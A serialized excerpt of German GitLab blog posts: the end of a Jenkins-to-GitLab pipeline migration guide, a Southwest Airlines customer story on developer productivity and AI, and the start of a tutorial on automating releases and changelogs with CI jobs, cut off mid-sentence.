./bin/meow-micro\n # Definiert die Bedingungen, die zur\n # Ausführung dieses Jobs erfüllt sein müssen. In\n # diesem Fall wird der Bereitstellungs-Job der Staging-Phase nur \n # auf dem Staging-Branch ausgeführt.\n  rules:\n    - if: $CI_COMMIT_BRANCH == 'staging'\n # Erlaubt die Verwendung der Artefakte, die im\n # Build-Job gespeichert wurden, in diesem Job.\n  artifacts:\n    paths:\n      - bin/meow-micro\n```\n\nWie du vielleicht bemerkt hast, gibt es viele Gemeinsamkeiten zwischen Jenkins und GitLab im Hinblick auf die Syntax. Dies vereinfacht die Pipeline-Migration. Sieh dir die umfassende Liste der [Funktions- und Konzeptvergleiche (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/migration/jenkins.html#comparison-of-features-and-concepts) zwischen den beiden Tools an.\n\nNun, da du verstehst, wie man Jenkins in GitLab abbildet, kannst du damit beginnen, eine Pipeline mit der gleichen Funktionalität in GitLab zu erstellen. Um CI/CD zu migrieren, kannst du die folgenden Schritte ausführen:\n\n##### 1. Öffne das Repository, das du im obigen Abschnitt zu GitLab migriert hast.\n- Klicke oben in der linken Seitenleiste auf **Suchen oder aufrufen …**.\n- Wähle dein Projekt aus.\n\n##### 2. Öffne den [Pipeline-Editor (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/pipeline_editor/).\n- Wähle in der linken Seitenleiste **Build > Pipeline-Editor** aus.\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176026/Blog/ecp4jh7epho2oxuegaor.png\" alt=\"Pipeline editor menu\">\n   \u003Cfigcaption>Pipeline-Editor-Menü\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Klicke auf die Schaltfläche **Pipeline konfigurieren**.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176029/Blog/nypfh01zhwgvzqc0xz3v.png\" alt=\"Configure pipeline selection\">\n   \u003Cfigcaption>Auswahl der Schaltfläche „Pipeline konfigurieren“\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 3. Befülle die Datei [.gitlab-ci.yml (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/).\n- Füge den GitLab-CI-Pipeline-Code hinzu. \n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176031/Blog/nxi6uxxispyyoiiyvxyg.png\" alt=\"Pipeline editor input\">\n   \u003Cfigcaption>Eingabe im Pipeline-Editor\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Prüfe, ob die Syntax korrekt ist.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176037/Blog/x3d4utfsnymye0lvphtf.png\" alt=\"Pipeline syntax validation\">\n   \u003Cfigcaption>Validierung der Pipeline-Syntax\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Visualisiere die Pipeline.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176043/Blog/hipzofpyywjxf62edzfv.png\" alt=\"Pipeline visualization\">\n   \u003Cfigcaption>Visualisierung der Pipeline\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 4. Committe die Datei in den Main-Branch.\n- Füge eine Commit-Nachricht hinzu.\n- Stelle sicher, dass es sich um den Main-Branch handelt.\n- Klicke auf die Schaltfläche **Änderungen committen**.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176048/Blog/nn8bl7rdysabccoycfrk.png\" alt=\"Commit changes dialog\">\n   \u003Cfigcaption>Dialog „Änderungen committen“\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nSobald die Datei zusammengeführt wurde, wird die definierte Pipeline gestartet. Du kannst zu deinem Projekt zurückkehren und [die Pipeline anzeigen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/pipelines/#view-pipelines), indem du sie auf der Seite deines Projekts **Build > Pipelines** auswählst. Da sie auf dem **Main**-Branch ausgeführt wurde, siehst du nur den Job **create-binary** sowie die „unit-test“ Jobs. Der Job **staging-deploy** wird nur auf dem Staging-Branch ausgeführt.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176051/Blog/wfb4k8nkzpg28kpf2pzz.png\" alt=\"Pipeline running on main branch\">\n   \u003Cfigcaption>Auf dem Main-Branch ausgeführte Pipeline\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nBei der Erstellung eines Staging-Branches wird die folgende Pipeline gestartet.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176053/Blog/e2jxedpolaniotgixpby.png\" alt=\"Pipeline running on staging branch\">\n   \u003Cfigcaption>Auf dem Staging-Branch ausgeführte Pipeline\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nWenn du auf einen Job klickst, wird dessen Ausgabe angezeigt:   \n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176056/Blog/fywzwbzkwcvc9zzakilh.png\" alt=\"create-binary job output\">\n   \u003Cfigcaption>Ausgabe des Jobs create-binary\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176061/Blog/ekmpd8ecanwwiena9xi9.png\" alt=\"unit-tests job output input\">\n   \u003Cfigcaption>Eingabe/Ausgabe des Jobs unit-tests\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176065/Blog/h7nqxszy50xdmnvhalfq.png\" alt=\"staging-deploy job output\">\n   \u003Cfigcaption>Ausgabe des Jobs staging-deploy\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nDu kannst sehen, wie das Artefakt im Job create-binary gespeichert und im Job staging-deploy verwendet wird. Und so einfach ist es, eine Pipeline von Jenkins zu GitLab zu migrieren!\n\n### Zusätzliche Überlegungen zur Migration\nEinige hilfreiche Überlegungen, die den Bereitstellungsprozess unserer Ansicht nach einfacher machen, sind folgende:\n\n- Versuche nicht, Aufgaben exakt als GitLab-Jobs zu replizieren. Nimm dir Zeit und schaue dir genauer an, was die aktuelle Pipeline bewirkt und welches Problem sie löst.\n\n- Einige Jenkins-Jobs sind möglicherweise zu komplex, um sofort zu GitLab migriert zu werden. Deshalb kann es von Vorteil sein, das [GitLab-Jenkins-Plugin](https://plugins.jenkins.io/gitlab-plugin/) zu verwenden, um Jenkins-Pipelines zu starten und ihre Ergebnisse direkt in GitLab anzuzeigen. Auf diese Weise kannst du bestimmte Aktionen langsam zu GitLab migrieren, bis die gesamte Pipeline verschoben werden kann.\n\n- Implementiere [Sicherheitsscanner und Codequalität (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/) mithilfe von integrierten Vorlagen, die GitLab von Anfang an bereitstellt. So kannst du die Sicherheit im Vorfeld kontrollieren und die Gefahr eines Sicherheitsverstoßes verringern.\nGestalte die CI/CD-Konfiguration nicht zu kompliziert und versuche nicht, alle Funktionsvorteile gleichzeitig zu nutzen. Modularisiere den Code und implementiere ihn in kleinen Iterationen.\n\n- Implementiere Funktionen zur Überwachung und Steuerung von Anfang an.\n\n- Bedenke, dass sich ein GitLab Runner (Go) möglicherweise anders verhält als ein Jenkins-Agent (Java). Die CPU-Auslastung und der Speicherverbrauch können unterschiedlich sein – achte darauf, sie im Laufe der Zeit miteinander zu vergleichen.\n\n- Ziehe in Erwägung, in automatische Skalierungsmechanismen zu investieren, und lege nicht benötigte Ressourcen am Wochenende oder außerhalb der Arbeitszeiten still.\n\n- Modernisiere die Anwendungsentwicklung, indem du deine Jobs containerisierst. Jenkins-Jobs laufen aktuell nicht in einem Container, sondern auf einem Jenkins-Agenten, der als VM ausgeführt wird.\n\nDiese Liste ist nicht erschöpfend, stellt aber einen guten Ausgangspunkt für einige Überlegungen dar, die du beachten solltest. Wenn du zusätzliche Hilfe benötigst, bietet GitLab [Professional Services](https://about.gitlab.com/de-de/get-help/) an, um dich bei deiner Migration zu unterstützen.\n\n### Mehr erfahren\nVielen Dank, dass du diesen Leitfaden gelesen hast! Ich hoffe, dass er dir dabei geholfen hat, besser zu verstehen, warum und wie du von Jenkins zu GitLab migrieren kannst. Noch nicht überzeugt? [Melde dich für eine kostenlose Testversion von GitLab an](https://about.gitlab.com/de-de/free-trial/) und erkenne den Nutzen einer DevSecOps-Plattform!\n\nHier findest du einige englischsprachige Ressourcen mit weiteren Informationen zu GitLab, den Vorteilen einer DevSecOps-Plattform und der Migration aus Jenkins:\n\n- [Migration von Jenkins](https://docs.gitlab.com/ee/ci/migration/jenkins.html)\n- [Planung einer Migration](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html)\n- [GitLab-Projektimporter](https://docs.gitlab.com/ee/user/project/import/)\n- [Tutorial: Einfache Migration von GitHub zu GitLab](https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy/)\n- [Video: Einfache Migration von GitHub zu GitLab](https://youtu.be/0Id5oMl1Kqs?feature=shared)\n- [Von Jenkins zu GitLab: Der ultimative Leitfaden zur Modernisierung deiner CI/CD-Umgebung](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n",[110,787],{"slug":3402,"featured":92,"template":682},"jenkins-to-gitlab-migration-made-easy","content:de-de:blog:jenkins-to-gitlab-migration-made-easy.yml","Jenkins To Gitlab Migration Made Easy","de-de/blog/jenkins-to-gitlab-migration-made-easy.yml","de-de/blog/jenkins-to-gitlab-migration-made-easy",{"_path":3408,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3409,"content":3415,"config":3422,"_id":3424,"_type":16,"title":3425,"_source":17,"_file":3426,"_stem":3427,"_extension":20},"/de-de/blog/southwest-looking-to-help-developers-take-flight",{"title":3410,"description":3411,"ogTitle":3410,"ogDescription":3411,"noIndex":6,"ogImage":3412,"ogUrl":3413,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3413,"schema":3414},"Southwest möchte mit seinen Entwickler(inne)n abheben","Erfahre, wie die DevOps-Teams der Fluglinie dank GitLab Probleme viel einfacher erkennen und beheben können.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","https://about.gitlab.com/blog/southwest-looking-to-help-developers-take-flight","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Southwest möchte mit seinen Entwickler(inne)n abheben\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2024-01-30\",\n      }",{"title":3410,"description":3411,"authors":3416,"heroImage":3412,"date":3418,"body":3419,"category":1055,"tags":3420,"updatedDate":3421},[3417],"Sharon Gaudin","2024-01-30","Southwest Airlines Co. ist bestrebt, die Arbeit seiner Entwickler(innen) zu leichter zu machen.\n\nDie IT-Führungskräfte der weltweit größten Billigfluglinie arbeiten daran, zeitaufwändige und sich wiederholende Aufgaben aus den Workflows der Entwickler(innen) zu eliminieren, damit diese mehr Zeit haben, sich auf größere Projekte zu konzentrieren.\n\n„Das schaffen wir, indem wir Hürden für sie aus dem Weg räumen“, erklärt Jim Dayton, Vice President und CISO bei Southwest Airlines. „Ich bin fest davon überzeugt, dass die Leute in der Softwareentwicklung arbeiten wollen, weil sie die Kreativität lieben. Sie lieben es, Probleme zu lösen. Dabei dürfen wir ihnen nicht im Weg stehen und müssen die Dinge, die sie behindern, aus dem Weg räumen.“\n\nDas möchte Dayton unter anderem mit der Plattform von GitLab erreichen.\n\nDayton hat bei einem Event der [DevSecOps World Tour von GitLab](https://about.gitlab.com/events/devsecops-world-tour/) in Dallas auf der Bühne in einem Interview über die Bestrebungen von Southwest gesprochen, sich um seine Entwickler(innen) zu kümmern und ihre Arbeit zu würdigen. Ein Teil seines Vortrags war ein Gespräch mit Reshmi Krishna, Director für Enterprise Solutions Architecture bei GitLab, in dem er mit ihm darüber sprach, welche Vorteile künstliche Intelligenz seinen Teams bieten könnte.\n\nDer Southwest-Manager sprach darüber, in seinem Unternehmen vermehrt auf einen DevOps-Ansatz bei der Anwendungsentwicklung zu setzen und fügte hinzu, dass den Entwickler(inne)n mehr Self-Service-Möglichkeiten und Wissensmanagement-Prozesse geboten werden sollten. „Wir wollen, dass Entwickler(innen) schnell ein Problem nachschlagen und eine Lösung finden können. Außerdem sollte Kontextwechsel reduziert werden“, sagte er. „Wir müssen sehen können, was wir von ihnen verlangen und was sie daran hindert, produktiv zu sein.“\n\nDayton merkte an, dass Southwest, das seit 2019 mit GitLab zusammenarbeitet, sich darauf konzentriert, seine Software-Entwicklungsprozesse konsistenter zu machen. Zum Teil bedeutet das, Code in ein gemeinsames GitLab-Repository zu verschieben. Wenn Teams wissen, wo sich ihr Code befindet, können sie Metriken einfacher bewerten und sich darauf konzentrieren, Code wiederzuverwenden und dadurch effizienter zu werden.\n\n„Wir sind auch dabei, unsere Enterprise-Pipelines fertigzustellen, und wir sind bereit, mit der Migration der Teams zu beginnen“, sagte Dayton. „Wir arbeiten intensiv mit vielen verschiedenen Anwendungsentwicklungsteams zusammen, um zu verstehen, was sie in den Pipelines benötigen, die wir aufbauen, und wir bereiten uns darauf vor, Teams auf sie zu migrieren. Ich denke, wir werden bis Ende des Jahres ziemlich nah dran sein.“\n\n### Das Versprechen der KI\n\nEine der Möglichkeiten, wie sich Entwickler(innen) auf größere und innovativere Aufgaben konzentrieren können, ist der Einsatz künstlicher Intelligenz, so Dayton.\n\nGenerative KI, ob in Form von Erklärungen zu Sicherheitslücken, Codevorschlägen oder Code-Vervollständigung, kann Arbeitsabläufe im gesamten Software-Entwicklungsprozess signifikant beeinflussen. Der Einsatz von KI-Tools, die direkt in eine Plattform integriert sind, kann die Sicherheit erhöhen und den Zeitaufwand für Code Reviews und Anwendungsentwicklung verringern.\n\nDayton freut sich bereits darauf, die Entwicklung und Bereitstellung mithilfe von KI-Funktionen zu beschleunigen und zu erleichtern.\n\n„Wir wollen alltägliche Aufgaben und die Bürokratie für unsere Entwickler(innen) so weit wie möglich aus dem Weg räumen“, erklärt Dayton und fügt hinzu, dass es rund um das Thema KI zwar einen riesigen Hype, aber auch großes Potenzial gebe. „Mit der KI könnten wir das schaffen. Ein gutes Beispiel ist meiner Meinung nach, wenn die KI eine Lösung für eine Sicherheitslücke bietet, die gerade entdeckt wurde, oder wenn sie uns sagen kann, was ein Teil des Codes tut. Womit wird er integriert? Auf welche Daten wird zugegriffen und warum? Sag mir zum Beispiel im Klartext, dass dieser bestimmte Code für 20 % der Vorfälle in dieser Anwendung im letzten Jahr verantwortlich war. Hier kann KI meiner Meinung nach helfen.“Dayton erläutert auch, dass er nicht glaubt, dass KI die Entwickler(innen) ersetzen wird. Stattdessen sollte sie ihnen die Arbeit erleichtern. KI kann in der Welt nach COVID außerdem dazu beitragen, die remote arbeitenden Entwickler(innen) zu verbinden.\n\n„Eines der coolen Dinge, die in der Roadmap [von GitLab] enthalten sind, sind vorgeschlagene Prüfer(innen)“, sagte er. „Das hilft bei Code Reviews, bei denen man früher einfach quer durch den Raum oder über die nächste Trennwand rief: ‚Hey, kann sich jemand meinen Code ansehen?‘ Das ist jetzt nicht mehr so einfach. KI kann Personen vorschlagen, die schon einmal in diesem Code gearbeitet haben, die Vorfälle in diesem Code gelöst haben und so etwas machen. Wie wichtig wird das für den Review-Prozess sein? Ich denke, je mehr Automatisierung wir einsetzen können, desto weniger manuelle Schritte oder Wartezeiten wird es geben.“\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines ist ein rund 24 Milliarden Dollar schweres Unternehmen mit Sitz in Dallas, Texas. Die Fluglinie hat 72 000 Mitarbeitende und fliegt mit 4 000 Flügen pro Trag 120 verschiedene Ziele an. Mit Southwest fliegen mehr Inlandspassagiere als mit jeder anderen Fluglinie.\nLies weitere GitLab-Kundenstorys auf unserer [Kundenseite](https://about.gitlab.com/de-de/customers/).*\n",[2033,699,679,1057],"2024-12-11",{"slug":3423,"featured":6,"template":682},"southwest-looking-to-help-developers-take-flight","content:de-de:blog:southwest-looking-to-help-developers-take-flight.yml","Southwest Looking To Help Developers Take Flight","de-de/blog/southwest-looking-to-help-developers-take-flight.yml","de-de/blog/southwest-looking-to-help-developers-take-flight",{"_path":3429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3430,"content":3436,"config":3444,"_id":3446,"_type":16,"title":3447,"_source":17,"_file":3448,"_stem":3449,"_extension":20},"/de-de/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"title":3431,"description":3432,"ogTitle":3431,"ogDescription":3432,"noIndex":6,"ogImage":3433,"ogUrl":3434,"ogSiteName":1396,"ogType":1440,"canonicalUrls":3434,"schema":3435},"GitLab-Tutorial: Releases & Versionshinweise automatisieren","Mit GitLab kannst du Release-Artefakte, Versionshinweise und Änderungsprotokolle, die benutzerbezogenen Software-Änderungen enthalten, automatisieren.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","https://about.gitlab.com/blog/tutorial-automated-release-and-release-notes-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Releases und Versionshinweise mit GitLab automatisieren\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ben Ridley\"}],\n        \"datePublished\": \"2023-11-01\",\n      }",{"title":3431,"description":3432,"authors":3437,"heroImage":3433,"date":3439,"body":3440,"category":680,"tags":3441,"updatedDate":1446},[3438],"Ben Ridley","2023-11-01","***Update 2025** - Die Änderungsprotokoll-API wurde weiterentwickelt und enthält jetzt geniale neue Funktionen, auf die wir in diesem Blog nicht eingehen, wie die Möglichkeit, benutzerdefinierte Änderungsprotokolle mit Vorlagenwerten aus deinem Commit-Verlauf bereitzustellen. [Mehr dazu erfährst du in der offiziellen Dokumentation zu Änderungsprotokollen (nur in englischer Sprache verfügbar).](https://docs.gitlab.com/user/project/changelogs/)*\n\nWenn du Software entwickelst, auf die sich Benutzer(innen) verlassen, ist eine effektive Kommunikation über Änderungen bei jeder Release unerlässlich. Indem du Benutzer(innen) über neue Funktionen sowie darüber informierst, was geändert oder entfernt wurde, stellst du sicher, dass sie die Vorteile der Software wirklich nutzen können und sie bei Upgrades keine unangenehmen Überraschungen erwarten.\n\nIn der Vergangenheit war das Erstellen von Versionshinweisen und die Pflege eines Änderungsprotokolls eine mühsame Aufgabe, bei der Entwickler(innen) die Änderungen extern überwachen oder eigene Release Manager den Verlauf der Zusammenführungen durcharbeiten mussten. Mit der Änderungsprotokoll-API von GitLab kannst du den umfassenden Verlauf, der in unserem Git-Repository gespeichert ist, heranziehen, um ganz einfach Versionshinweise zu erstellen und ein Änderungsprotokoll zu führen.\n\nIn diesem Tutorial sehen wir uns an, wie du Releases mit GitLab automatisieren kannst und finden heraus, wie man Release-Artefakte, Versionshinweise und ein umfassendes Änderungsprotokoll, das alle benutzerbezogenen Software-Änderungen enthält, erstellt.\n\n## Releases in GitLab\nZuerst wollen wir uns ansehen, wie Releases in GitLab funktionieren.\n\nIn GitLab ist eine Release eine bestimmte Version deines Codes, die durch ein Git-Tag identifiziert wird. Dieses enthält Details zu den Änderungen seit der letzten Release (und Versionshinweise) sowie zugehörige Artefakte, die aus dieser Version des Codes erstellt wurden, wie Docker-Images, Installationspakete und Dokumentation.\n\nDu kannst Releases in GitLab über die UI erstellen und nachverfolgen, indem du unsere Release-API aufrufst oder den Job `release` innerhalb einer CI-Pipeline aufrufst. In diesem Tutorial verwenden wir den Job `release` in einer CI/CD-Pipeline, sodass wir die Automatisierung, die wir in unserer Pipeline zum Testen, für Code-Scans und mehr verwenden, auch für automatisierte Releases nutzen können.\n\nUm unsere Releases zu automatisieren, müssen wir zunächst die folgende Frage beantworten: Wo bekommen wir für unsere Versionshinweise und unser Änderungsprotokoll Informationen zu den vorgenommenen Änderungen? Die Antwort: In unserem Git-Repository, in dem wir durch Commit-Nachrichten und den Merge-Commit-Verlauf eine umfassende Übersicht über die Entwicklungsaktivitäten haben. Sehen wir uns an, ob wir diesen umfassenden Verlauf nutzen können, um automatisch unsere Versionshinweise und Änderungsprotokolle zu erstellen.\n\n## Einführung in Commit-Trailer\n[Commit-Trailer](https://git-scm.com/docs/git-interpret-trailers) sind strukturierte Einträge in deinen Git-Commits, die erstellt werden, indem du einfach die Formatierungsnachrichten `\u003CHEADER>:\u003CBODY>` am Ende deines Commits einfügst. Das CLI-Tool `git` kann diese dann parsen und für die Verwendung in anderen Systemen extrahieren. Ein Beispiel, das du vielleicht schon einmal verwendet hast, ist `git commit --sign-off`, um ein Commit zu beenden. Dies wird implementiert, indem der Trailer `Signed-off-by: \u003CDein Name>` zum Commit hinzugefügt wird. Wir können hier beliebige strukturierte Daten hinzufügen, sodass dies eine tolle Möglichkeit ist, Informationen zu speichern, die für das Änderungsprotokoll nützlich sein könnten.\n\nWenn wir in unseren Commits den Trailer `Changelog: \u003Cadded/changed/removed>` verwenden, parst die Änderungsprotokoll-API von GitLab diese und verwendet sie, um automatisch ein Änderungsprotokoll für uns zu erstellen!\n\nSehen wir uns das in Aktion an, indem wir Änderungen an einer echten Codebase vornehmen, eine Release durchführen und dann Versionshinweise und Änderungsprotokoll-Einträge generieren.\n\n## Beispielprojekt\nFür diesen Blog verwende ich ein einfaches Python-Web-App-Repository. Nehmen wir an, dass Version 1.0.0 der Anwendung gerade veröffentlicht wurde und die aktuelle Version des Codes ist. Ich habe auch die Release 1.0.0 in GitLab erstellt, was ich manuell tun musste, da wir unsere automatisierte Release-Pipeline ja noch nicht erstellt haben:\n\n![Ein Screenshot der GitLab-UI, die eine Release für Version 1.0.0 zeigt](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/1-0-release.png)\n\n## Nehmen wir unsere Änderungen vor\nWir entwickeln rasend schnell und arbeiten daher schon daran, Version 2.0.0 unserer Anwendung heute zu veröffentlichen. Im Rahmen unserer Release 2.0.0 fügen wir eine neue Funktion zu unserer App hinzu: einen Chatbot! Wir werden auch die Quanten-Blockchain-Funktion entfernen, da wir diese nur für die erste Finanzierungsrunde benötigt haben. Außerdem fügen wir einen automatisierten Release-Job zu unserer CI/CD-Pipeline für unsere Release 2.0.0 hinzu.\n\nZuerst entfernen wir die nicht benötigten Funktionen. Ich habe einen Merge Request erstellt, der die notwendigen Änderungen enthält. Wir müssen sicherstellen, dass wir eine Commit-Nachricht haben, die den Trailer `Changelog: removed` enthält. Dazu gibt es mehrere Möglichkeiten: Wir können ihn unter anderem direkt in einen Commit einbauen oder einen interaktiven Rebase durchführen und über das CLI hinzufügen. Der einfachste Weg in unserem Fall ist meiner Meinung nach, bis zum Ende zu warten und dann die Schaltfläche `Edit commit message` in GitLab zu verwenden, um den Trailer folgendermaßen zum Merge-Commit hinzuzufügen:\n\n![Screenshot der GitLab-UI, der einen Merge Request zum Entfernen nicht verwendeter Funktionen zeigt](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/remove-unused-features-mr.png)\n\nMit dieser Methode kannst du auch den Titel des Merge-Commits auf einen prägnanteren Titel ändern. Ich habe den Titel meines Merge-Commit auf „Nicht verwendete Funktionen entfernen“ geändert, da dies im Eintrag im Änderungsprotokoll angezeigt wird.\n\nAls nächstes fügen wir einige neue Funktionen für die Version 2.0.0 hinzu. Hier müssen wir nur einen weiteren Merge Request öffnen, der unsere neuen Funktionen enthält, und dann den Merge-Commit bearbeiten, sodass er den Trailer `Changelog: added` enthält, und dann den Commit-Titel auf einen prägnanteren Titel ändern:\n\n![Screenshot der GitLab-UI, der einen Merge Request zum Hinzufügen neuer Funktionen zeigt](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/add-chatbot-mr.png)\n\nJetzt sind wir eigentlich bereit, 2.0.0 zu veröffentlichen. Aber dieses Mal möchten wir unsere Release nicht manuell erstellen. Deshalb fügen wir vor der Release einige Jobs zur Datei `.gitlab-ci.yml` hinzu, die die Release automatisch für uns durchführen und die entsprechenden Versionshinweise und Einträge ins Änderungsprotokoll erstellen, wenn wir unseren Code mit einer neuen Version wie z. B. `2.0.0` taggen.\n\n**Hinweis:** Wenn du Änderungsprotokoll-Trailer erzwingen möchtest, solltest du überlegen, etwas wie [Gefahr bei der Durchführung automatischer Überprüfungen für MR-Konventionen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/development/dangerbot.html) zu verwenden.\n\n## Erstellen einer automatisierten Release-Pipeline\nDamit unsere Pipeline funktioniert, müssen wir ein Projektzugriffstoken erstellen, mit dem wir die GitLab-API aufrufen können, damit sie die Einträge im Änderungsprotokoll erstellt. [Erstelle ein Projektzugriffstoken im API-Bereich (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) und [speichere das Token dann als CI/CD-Variable (nur in englischer Sprache verfügbar)]((https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui) mit dem Namen `CI_API_TOKEN`. Wir verweisen auf diese Variable, um uns bei der API zu authentifizieren.\n\nNun fügen wir zwei neue Jobs zu unserer Datei `gitlab-ci.yml` hinzu:\n```yaml\nprepare_job:\n  stage: prepare\n  image: alpine:latest\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - apk add curl jq\n    - 'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\" | jq -r .notes > release_notes.md'\n  artifacts:\n    paths:\n    - release_notes.md\n\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  needs:\n    - job: prepare_job\n      artifacts: true\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - echo \"Creating release\"\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: release_notes.md\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_SHA'\n    assets:\n      links:\n        - name: 'Container Image $CI_COMMIT_TAG'\n          url: \"https://$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA\"\n```\n\nIn der oben angeführten Konfiguration verwendet `prepare_job` die Befehle `curl` und `jq`, um den Endpunkt der Änderungsprotokoll-API von GitLab aufzurufen und übergibt dies dann an unser `release_job`, um die Release zu erstellen. Genauer gesagt sieht das so aus:\n- Wir verwenden das Projektzugriffstoken, dass wir zuvor erstellt haben, um die Änderungsprotokoll-API von GitLab aufzurufen, die dann die Versionshinweise erstellt. Wir speichern dies als Artefakt.\n- Wir verwenden die Variable `$CI_COMMIT_TAG` als Version. Dazu müssen wir eine semantische Versionierung für unsere Tags verwenden (beispielsweise so etwas wie `2.0.0`). Du wirst auch bemerkt haben, dass ich den Release-Job mit dem Abschnitt `rules` eingeschränkt habe, der auf ein semantisches Versions-Tag überprüft.\n\t- Damit die Änderungsprotokoll-API von GitLab funktioniert, ist eine semantische Versionierung erforderlich. Sie verwendet dieses Format, um die neueste Release zu finden und sie mit unserer aktuellen Release zu vergleichen.\n- Wir verwenden das offizielle Image `release-cli` von GitLab. „release-cli“ ist erforderlich, um das Schlüsselwort `release` in einem Job zu verwenden.\n- Wir verwenden das Schlüsselwort `release`, um eine Release in GitLab zu erstellen. Dies ist ein spezielles Job-Schlüsselwort, das für die Erstellung einer Release und das Ausfüllen der erforderlichen Felder reserviert ist.\n- Wir können eine Datei als Argument an die `description` der Release übergeben. In unserem Fall ist es die Datei, die wir in `prepare_job` erstellt haben und die als Artefakt an diesen Job übergeben wurde.\n- Wir haben auch unser Container-Image, das früher in der Pipeline erstellt wurde, als Release-Asset hinzugefügt. Du kannst alle Assets aus deinem Build-Prozess anhängen, die du möchtest, z. B. Binärdateien oder Dokumentationen, indem du eine URL zu dem Ort angibst, an den du sie zuvor in der Pipeline hochgeladen hast.\n\n## Durchführen einer automatisierten Release\nMit dieser Konfiguration müssen wir nur ein Tag in unser Repository übertragen, das unserem Versionsschema entspricht, um eine Release durchzuführen. Du kannst einfach ein Tag mit dem CLI pushen. Für dieses Beispiel wird die GitLab-UI verwendet, um ein Tag im main-Branch zu erstellen. Erstelle ein Tag, indem du in der Seitenleiste „Code“ -> „Tags“ -> „Neues Tag“ auswählst:\n![Screenshot der GitLab-UI, der zeigt, wie man ein Tag 